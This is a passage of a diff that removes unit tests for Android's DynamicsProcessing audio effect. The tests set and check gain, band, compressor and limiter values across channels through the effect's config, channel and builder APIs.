-            Channel channelTest = config.getChannelByChannelIndex(i);
-            assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
-                    channelTest.getInputGain(), EPSILON);
-
-            Eq preEqTest = new Eq(config.getPreEqByChannelIndex(i));
-            EqBand preEqBandTest = preEqTest.getBand(TEST_BAND_INDEX);
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
-
-            Mbc mbcTest = new Mbc(config.getMbcByChannelIndex(i));
-            MbcBand mbcBandTest = mbcTest.getBand(TEST_BAND_INDEX);
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
-
-            Eq postEqTest = new Eq(config.getPostEqByChannelIndex(i));
-            EqBand postEqBandTest = postEqTest.getBand(TEST_BAND_INDEX);
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
-
-            Limiter limiterTest = new Limiter(config.getLimiterByChannelIndex(i));
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
-
-            // change by Stage
-            config.setInputGainByChannelIndex(i, TEST_GAIN2);
-            assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
-                    config.getInputGainByChannelIndex(i), EPSILON);
-
-            preEqBandTest.setGain(TEST_GAIN2);
-            preEqTest.setBand(TEST_BAND_INDEX, preEqBandTest);
-            config.setPreEqByChannelIndex(i, preEqTest);
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN2, config.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            mbcBandTest.setPreGain(TEST_GAIN2);
-            mbcTest.setBand(TEST_BAND_INDEX, mbcBandTest);
-            config.setMbcByChannelIndex(i, mbcTest);
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2,
-                    config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-            postEqBandTest.setGain(TEST_GAIN2);
-            postEqTest.setBand(TEST_BAND_INDEX, postEqBandTest);
-            config.setPostEqByChannelIndex(i, postEqTest);
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2,
-                    config.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-            limiterTest.setPostGain(TEST_GAIN2);
-            config.setLimiterByChannelIndex(i, limiterTest);
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN2, config.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-        }
-    }
-
-    public void test2_3ConfigChannel_perBand() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
-
-        // Per Band
-        EqBand preEqBand = config.getPreEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
-        preEqBand.setGain(TEST_GAIN1);
-        config.setPreEqBandAllChannelsTo(TEST_BAND_INDEX, preEqBand);
-
-        MbcBand mbcBand = config.getMbcBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
-        mbcBand.setPreGain(TEST_GAIN1);
-        config.setMbcBandAllChannelsTo(TEST_BAND_INDEX, mbcBand);
-
-        EqBand postEqBand = config.getPostEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
-        postEqBand.setGain(TEST_GAIN1);
-        config.setPostEqBandAllChannelsTo(TEST_BAND_INDEX, postEqBand);
-
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-
-            EqBand preEqBandTest = new EqBand(config.getPreEqBandByChannelIndex(i,
-                    TEST_BAND_INDEX));
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
-
-            MbcBand mbcBandTest = new MbcBand(config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX));
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
-
-            EqBand postEqBandTest = new EqBand(config.getPostEqBandByChannelIndex(i,
-                    TEST_BAND_INDEX));
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
-
-            // change per Band
-            preEqBandTest.setGain(TEST_GAIN2);
-            config.setPreEqBandByChannelIndex(i, TEST_BAND_INDEX, preEqBandTest);
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN2, config.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            mbcBandTest.setPreGain(TEST_GAIN2);
-            config.setMbcBandByChannelIndex(i, TEST_BAND_INDEX, mbcBandTest);
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2,
-                    config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-            postEqBandTest.setGain(TEST_GAIN2);
-            config.setPostEqBandByChannelIndex(i, TEST_BAND_INDEX, postEqBandTest);
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2,
-                    config.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-        }
-    }
-
-    public void test2_4Channel_perStage() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-
-        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
-
-        channel.setInputGain(TEST_GAIN1);
-        assertEquals("channel gain is different", TEST_GAIN1, channel.getInputGain(), EPSILON);
-
-        // set by stage
-        Eq preEq = new Eq(channel.getPreEq());
-        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-        preEqBand.setGain(TEST_GAIN1);
-        preEq.setBand(TEST_BAND_INDEX, preEqBand);
-        channel.setPreEq(preEq);
-        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getPreEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
-        preEqBand.setGain(TEST_GAIN2);
-        preEq.setBand(TEST_BAND_INDEX, preEqBand);
-        channel.setPreEq(preEq);
-        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getPreEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
-
-        Mbc mbc = new Mbc(channel.getMbc());
-        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-        mbcBand.setPreGain(TEST_GAIN1);
-        mbc.setBand(TEST_BAND_INDEX, mbcBand);
-        channel.setMbc(mbc);
-        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getMbc().getBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
-        mbcBand.setPreGain(TEST_GAIN2);
-        mbc.setBand(TEST_BAND_INDEX, mbcBand);
-        channel.setMbc(mbc);
-        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getMbc().getBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-        Eq postEq = new Eq(channel.getPostEq());
-        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-        postEqBand.setGain(TEST_GAIN1);
-        postEq.setBand(TEST_BAND_INDEX, postEqBand);
-        channel.setPostEq(postEq);
-        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getPostEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
-        postEqBand.setGain(TEST_GAIN2);
-        postEq.setBand(TEST_BAND_INDEX, postEqBand);
-        channel.setPostEq(postEq);
-        assertEquals("postEQBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getPostEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
-
-        Limiter limiter = new Limiter(channel.getLimiter());
-        limiter.setPostGain(TEST_GAIN1);
-        channel.setLimiter(limiter);
-        assertEquals("limiter gain is different",
-                TEST_GAIN1, channel.getLimiter().getPostGain(), EPSILON);
-        limiter.setPostGain(TEST_GAIN2);
-        channel.setLimiter(limiter);
-        assertEquals("limiter gain is different",
-                TEST_GAIN2, channel.getLimiter().getPostGain(), EPSILON);
-
-    }
-
-    public void test2_5Channel_perBand() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-
-        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
-
-        channel.setInputGain(TEST_GAIN1);
-        assertEquals("channel gain is different", TEST_GAIN1, channel.getInputGain(), EPSILON);
-
-        // set by band
-        EqBand preEqBand = new EqBand(channel.getPreEqBand(TEST_BAND_INDEX));
-        preEqBand.setGain(TEST_GAIN1);
-        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
-        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getPreEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
-        preEqBand.setGain(TEST_GAIN2);
-        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
-        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getPreEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
-
-        MbcBand mbcBand = new MbcBand(channel.getMbcBand(TEST_BAND_INDEX));
-        mbcBand.setPreGain(TEST_GAIN1);
-        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
-        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getMbcBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
-        mbcBand.setPreGain(TEST_GAIN2);
-        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
-        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getMbcBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-        EqBand postEqBand = new EqBand(channel.getPostEqBand(TEST_BAND_INDEX));
-        postEqBand.setGain(TEST_GAIN1);
-        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
-        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN1, channel.getPostEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
-        postEqBand.setGain(TEST_GAIN2);
-        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
-        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
-                TEST_GAIN2, channel.getPostEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
-    }
-
-    public void test2_6Eq() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        final boolean inUse = true;
-        final boolean enabled = true;
-        final int bandCount = 3;
-
-        Eq eq = new Eq(inUse, enabled, bandCount);
-        assertEquals("eq inUse is different", inUse, eq.isInUse());
-        assertEquals("eq enabled is different", enabled, eq.isEnabled());
-        assertEquals("eq bandCount is different", bandCount, eq.getBandCount());
-
-        // changes
-        eq.setEnabled(!enabled);
-        assertEquals("eq enabled is different", !enabled, eq.isEnabled());
-
-        // bands
-        for (int i = 0; i < bandCount; i++) {
-            final float frequency = (i + 1) * 100.3f;
-            final float gain = (i + 1) * 10.1f;
-            EqBand eqBand = new EqBand(eq.getBand(i));
-
-            eqBand.setEnabled(enabled);
-            eqBand.setCutoffFrequency(frequency);
-            eqBand.setGain(gain);
-
-            eq.setBand(i, eqBand);
-
-            // compare
-            assertEquals("eq enabled is different in band " + i, enabled,
-                    eq.getBand(i).isEnabled());
-            assertEquals("eq cutoffFrequency is different in band " + i,
-                    frequency, eq.getBand(i).getCutoffFrequency(), EPSILON);
-            assertEquals("eq eqBand gain is different in band " + i,
-                    gain, eq.getBand(i).getGain(), EPSILON);
-
-            // EqBand constructor
-            EqBand eqBand2 = new EqBand(enabled, frequency, gain);
-
-            assertEquals("eq enabled is different in band " + i, enabled,
-                    eqBand2.isEnabled());
-            assertEquals("eq cutoffFrequency is different in band " + i,
-                    frequency, eqBand2.getCutoffFrequency(), EPSILON);
-            assertEquals("eq eqBand gain is different in band " + i,
-                    gain, eqBand2.getGain(), EPSILON);
-        }
-    }
-
-    public void test2_7Mbc() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final boolean inUse = true;
-        final boolean enabled = true;
-        final int bandCount = 3;
-
-        Mbc mbc = new Mbc(inUse, enabled, bandCount);
-        assertEquals("mbc inUse is different", inUse, mbc.isInUse());
-        assertEquals("mbc enabled is different", enabled, mbc.isEnabled());
-        assertEquals("mbc bandCount is different", bandCount, mbc.getBandCount());
-
-        // changes
-        mbc.setEnabled(!enabled);
-        assertEquals("enabled is different", !enabled, mbc.isEnabled());
-
-        // bands
-        for (int i = 0; i < bandCount; i++) {
-            int index = i + 1;
-            final float frequency = index * 100.3f;
-            final float attackTime = index * 3.2f;
-            final float releaseTime = 2 * attackTime;
-            final float ratio = index * 1.2f;
-            final float threshold = index * (-12.8f);
-            final float kneeWidth = index * 0.3f;
-            final float noiseGateThreshold = index * (-20.1f);
-            final float expanderRatio = index * 1.1f;
-            final float preGain = index * 10.1f;
-            final float postGain = index * (-0.2f);
-            MbcBand mbcBand = new MbcBand(mbc.getBand(i));
-
-            mbcBand.setEnabled(enabled);
-            mbcBand.setCutoffFrequency(frequency);
-            mbcBand.setAttackTime(attackTime);
-            mbcBand.setReleaseTime(releaseTime);
-            mbcBand.setRatio(ratio);
-            mbcBand.setThreshold(threshold);
-            mbcBand.setKneeWidth(kneeWidth);
-            mbcBand.setNoiseGateThreshold(noiseGateThreshold);
-            mbcBand.setExpanderRatio(expanderRatio);
-            mbcBand.setPreGain(preGain);
-            mbcBand.setPostGain(postGain);
-
-            mbc.setBand(i, mbcBand);
-
-            // compare
-            assertEquals("mbc enabled is different", enabled, mbc.getBand(i).isEnabled());
-            assertEquals("mbc cutoffFrequency is different in band " + i,
-                    frequency, mbc.getBand(i).getCutoffFrequency(), EPSILON);
-            assertEquals("mbc attackTime is different in band " + i,
-                    attackTime, mbc.getBand(i).getAttackTime(), EPSILON);
-            assertEquals("mbc releaseTime is different in band " + i,
-                    releaseTime, mbc.getBand(i).getReleaseTime(), EPSILON);
-            assertEquals("mbc ratio is different in band " + i,
-                    ratio, mbc.getBand(i).getRatio(), EPSILON);
-            assertEquals("mbc threshold is different in band " + i,
-                    threshold, mbc.getBand(i).getThreshold(), EPSILON);
-            assertEquals("mbc kneeWidth is different in band " + i,
-                    kneeWidth, mbc.getBand(i).getKneeWidth(), EPSILON);
-            assertEquals("mbc noiseGateThreshold is different in band " + i,
-                    noiseGateThreshold, mbc.getBand(i).getNoiseGateThreshold(), EPSILON);
-            assertEquals("mbc expanderRatio is different in band " + i,
-                    expanderRatio, mbc.getBand(i).getExpanderRatio(), EPSILON);
-            assertEquals("mbc preGain is different in band " + i,
-                    preGain, mbc.getBand(i).getPreGain(), EPSILON);
-            assertEquals("mbc postGain is different in band " + i,
-                    postGain, mbc.getBand(i).getPostGain(), EPSILON);
-
-            // MbcBand constructor
-            MbcBand mbcBand2 = new MbcBand(enabled, frequency, attackTime, releaseTime, ratio,
-                    threshold, kneeWidth, noiseGateThreshold, expanderRatio, preGain, postGain);
-
-            assertEquals("mbc enabled is different", enabled, mbcBand2.isEnabled());
-            assertEquals("mbc cutoffFrequency is different in band " + i,
-                    frequency, mbcBand2.getCutoffFrequency(), EPSILON);
-            assertEquals("mbc attackTime is different in band " + i,
-                    attackTime, mbcBand2.getAttackTime(), EPSILON);
-            assertEquals("mbc releaseTime is different in band " + i,
-                    releaseTime, mbcBand2.getReleaseTime(), EPSILON);
-            assertEquals("mbc ratio is different in band " + i,
-                    ratio, mbcBand2.getRatio(), EPSILON);
-            assertEquals("mbc threshold is different in band " + i,
-                    threshold, mbcBand2.getThreshold(), EPSILON);
-            assertEquals("mbc kneeWidth is different in band " + i,
-                    kneeWidth, mbcBand2.getKneeWidth(), EPSILON);
-            assertEquals("mbc noiseGateThreshold is different in band " + i,
-                    noiseGateThreshold, mbcBand2.getNoiseGateThreshold(), EPSILON);
-            assertEquals("mbc expanderRatio is different in band " + i,
-                    expanderRatio, mbcBand2.getExpanderRatio(), EPSILON);
-            assertEquals("mbc preGain is different in band " + i,
-                    preGain, mbcBand2.getPreGain(), EPSILON);
-            assertEquals("mbc postGain is different in band " + i,
-                    postGain, mbcBand2.getPostGain(), EPSILON);
-        }
-    }
-
-    public void test2_8Limiter() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final boolean inUse = true;
-        final boolean enabled = true;
-        final int linkGroup = 4;
-        final float attackTime = 3.2f;
-        final float releaseTime = 2 * attackTime;
-        final float ratio = 1.2f;
-        final float threshold = (-12.8f);
-        final float postGain = (-0.2f);
-
-        Limiter limiter = new Limiter(inUse, enabled, linkGroup, attackTime, releaseTime, ratio,
-                threshold, postGain);
-        assertEquals("limiter inUse is different", inUse, limiter.isInUse());
-        assertEquals("limiter enabled is different", enabled, limiter.isEnabled());
-        assertEquals("limiter linkGroup is different", linkGroup, limiter.getLinkGroup());
-
-        // defaults
-        assertEquals("limiter attackTime is different",
-                attackTime, limiter.getAttackTime(), EPSILON);
-        assertEquals("limiter releaseTime is different",
-                releaseTime, limiter.getReleaseTime(), EPSILON);
-        assertEquals("limiter ratio is different",
-                ratio, limiter.getRatio(), EPSILON);
-        assertEquals("limiter threshold is different",
-                threshold, limiter.getThreshold(), EPSILON);
-        assertEquals("limiter postGain is different",
-                postGain, limiter.getPostGain(), EPSILON);
-
-        // changes
-        final boolean newEnabled = !enabled;
-        final int newLinkGroup = 7;
-        final float newAttackTime = attackTime + 10;
-        final float newReleaseTime = releaseTime + 10;
-        final float newRatio = ratio + 2f;
-        final float newThreshold = threshold - 20f;
-        final float newPostGain = postGain + 3f;
-
-        limiter.setEnabled(newEnabled);
-        limiter.setLinkGroup(newLinkGroup);
-        limiter.setAttackTime(newAttackTime);
-        limiter.setReleaseTime(newReleaseTime);
-        limiter.setRatio(newRatio);
-        limiter.setThreshold(newThreshold);
-        limiter.setPostGain(newPostGain);
-
-        assertEquals("limiter enabled is different", newEnabled, limiter.isEnabled());
-        assertEquals("limiter linkGroup is different", newLinkGroup, limiter.getLinkGroup());
-        assertEquals("limiter attackTime is different",
-                newAttackTime, limiter.getAttackTime(), EPSILON);
-        assertEquals("limiter releaseTime is different",
-                newReleaseTime, limiter.getReleaseTime(), EPSILON);
-        assertEquals("limiter ratio is different",
-                newRatio, limiter.getRatio(), EPSILON);
-        assertEquals("limiter threshold is different",
-                newThreshold, limiter.getThreshold(), EPSILON);
-        assertEquals("limiter postGain is different",
-                newPostGain, limiter.getPostGain(), EPSILON);
-    }
-
-    public void test2_9BandStage() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final boolean inUse = true;
-        final boolean enabled = true;
-        final int bandCount = 3;
-
-        BandStage bandStage = new BandStage(inUse, enabled, bandCount);
-        assertEquals("bandStage inUse is different", inUse, bandStage.isInUse());
-        assertEquals("bandStage enabled is different", enabled, bandStage.isEnabled());
-        assertEquals("bandStage bandCount is different", bandCount, bandStage.getBandCount());
-
-        // change
-        bandStage.setEnabled(!enabled);
-        assertEquals("bandStage enabled is different", !enabled, bandStage.isEnabled());
-    }
-
-    public void test2_10Stage() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final boolean inUse = true;
-        final boolean enabled = true;
-        final int bandCount = 3;
-
-        DynamicsProcessing.Stage stage = new DynamicsProcessing.Stage(inUse, enabled);
-        assertEquals("stage inUse is different", inUse, stage.isInUse());
-        assertEquals("stage enabled is different", enabled, stage.isEnabled());
-
-        // change
-        stage.setEnabled(!enabled);
-        assertEquals("stage enabled is different", !enabled, stage.isEnabled());
-    }
-
-    public void test2_11BandBase() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final boolean enabled = true;
-        final float frequency = 100.3f;
-
-        BandBase bandBase = new BandBase(enabled, frequency);
-
-        assertEquals("bandBase enabled is different", enabled, bandBase.isEnabled());
-        assertEquals("bandBase cutoffFrequency is different",
-                frequency, bandBase.getCutoffFrequency(), EPSILON);
-
-        // change
-        final float newFrequency = frequency + 10f;
-        bandBase.setEnabled(!enabled);
-        bandBase.setCutoffFrequency(newFrequency);
-        assertEquals("bandBase enabled is different", !enabled, bandBase.isEnabled());
-        assertEquals("bandBase cutoffFrequency is different",
-                newFrequency, bandBase.getCutoffFrequency(), EPSILON);
-    }
-
-    public void test2_12Channel() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final float inputGain = 3.4f;
-        final boolean preEqInUse = true;
-        final int preEqBandCount = 3;
-        final boolean mbcInUse = true;
-        final int mbcBandCount = 4;
-        final boolean postEqInUse = true;
-        final int postEqBandCount = 5;
-        final boolean limiterInUse = true;
-
-        Channel channel = new Channel(inputGain, preEqInUse, preEqBandCount, mbcInUse,
-                mbcBandCount, postEqInUse, postEqBandCount, limiterInUse);
-
-        assertEquals("channel inputGain is different", inputGain,
-                channel.getInputGain(), EPSILON);
-        assertEquals("channel preEqInUse is different", preEqInUse, channel.getPreEq().isInUse());
-        assertEquals("channel preEqBandCount is different", preEqBandCount,
-                channel.getPreEq().getBandCount());
-        assertEquals("channel mbcInUse is different", mbcInUse, channel.getMbc().isInUse());
-        assertEquals("channel mbcBandCount is different", mbcBandCount,
-                channel.getMbc().getBandCount());
-        assertEquals("channel postEqInUse is different", postEqInUse,
-                channel.getPostEq().isInUse());
-        assertEquals("channel postEqBandCount is different", postEqBandCount,
-                channel.getPostEq().getBandCount());
-        assertEquals("channel limiterInUse is different", limiterInUse,
-                channel.getLimiter().isInUse());
-    }
-    // -----------------------------------------------------------------
-    // 3 - Builder
-    // ----------------------------------
-
-    public void test3_0Builder_stagesAllChannels() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
-
-        // get Stages, apply all channels
-        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-        preEqBand.setGain(TEST_GAIN1);
-        preEq.setBand(TEST_BAND_INDEX, preEqBand);
-        builder.setPreEqAllChannelsTo(preEq);
-
-        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-        mbcBand.setPreGain(TEST_GAIN1);
-        mbc.setBand(TEST_BAND_INDEX, mbcBand);
-        builder.setMbcAllChannelsTo(mbc);
-
-        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-        postEqBand.setGain(TEST_GAIN1);
-        postEq.setBand(TEST_BAND_INDEX, postEqBand);
-        builder.setPostEqAllChannelsTo(postEq);
-
-        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-        limiter.setPostGain(TEST_GAIN1);
-        builder.setLimiterAllChannelsTo(limiter);
-
-        // build and compare
-        DynamicsProcessing.Config newConfig = builder.build();
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN1, newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1,
-                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                    EPSILON);
-
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1,
-                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN1, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-        }
-    }
-
-    public void test3_1Builder_stagesByChannelIndex() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
-
-        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-
-        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-
-        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-
-        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-
-        // get Stages, apply per channel
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-
-            builder.setInputGainByChannelIndex(i, gain);
-
-            preEqBand.setGain(gain);
-            preEq.setBand(TEST_BAND_INDEX, preEqBand);
-            builder.setPreEqByChannelIndex(i, preEq);
-
-            mbcBand.setPreGain(gain);
-            mbc.setBand(TEST_BAND_INDEX, mbcBand);
-            builder.setMbcByChannelIndex(i, mbc);
-
-            postEqBand.setGain(gain);
-            postEq.setBand(TEST_BAND_INDEX, postEqBand);
-            builder.setPostEqByChannelIndex(i, postEq);
-
-            limiter.setPostGain(gain);
-            builder.setLimiterByChannelIndex(i, limiter);
-        }
-        // build and compare
-        DynamicsProcessing.Config newConfig = builder.build();
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-
-            assertEquals("inputGain is different in channel " + i,
-                    expectedGain,
-                    newConfig.getInputGainByChannelIndex(i),
-                    EPSILON);
-
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    expectedGain,
-                    newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, expectedGain,
-                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                    EPSILON);
-
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, expectedGain,
-                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("limiter gain is different in channel " + i,
-                    expectedGain, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-        }
-    }
-
-    public void test3_2Builder_setAllChannelsTo() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
-
-        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
-
-        // get Stages, apply all channels
-        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-        preEqBand.setGain(TEST_GAIN1);
-        preEq.setBand(TEST_BAND_INDEX, preEqBand);
-        channel.setPreEq(preEq);
-
-        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-        mbcBand.setPreGain(TEST_GAIN1);
-        mbc.setBand(TEST_BAND_INDEX, mbcBand);
-        channel.setMbc(mbc);
-
-        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-        postEqBand.setGain(TEST_GAIN1);
-        postEq.setBand(TEST_BAND_INDEX, postEqBand);
-        channel.setPostEq(postEq);
-
-        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-        limiter.setPostGain(TEST_GAIN1);
-        channel.setLimiter(limiter);
-
-        builder.setAllChannelsTo(channel);
-        // build and compare
-        DynamicsProcessing.Config newConfig = builder.build();
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN1, newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1,
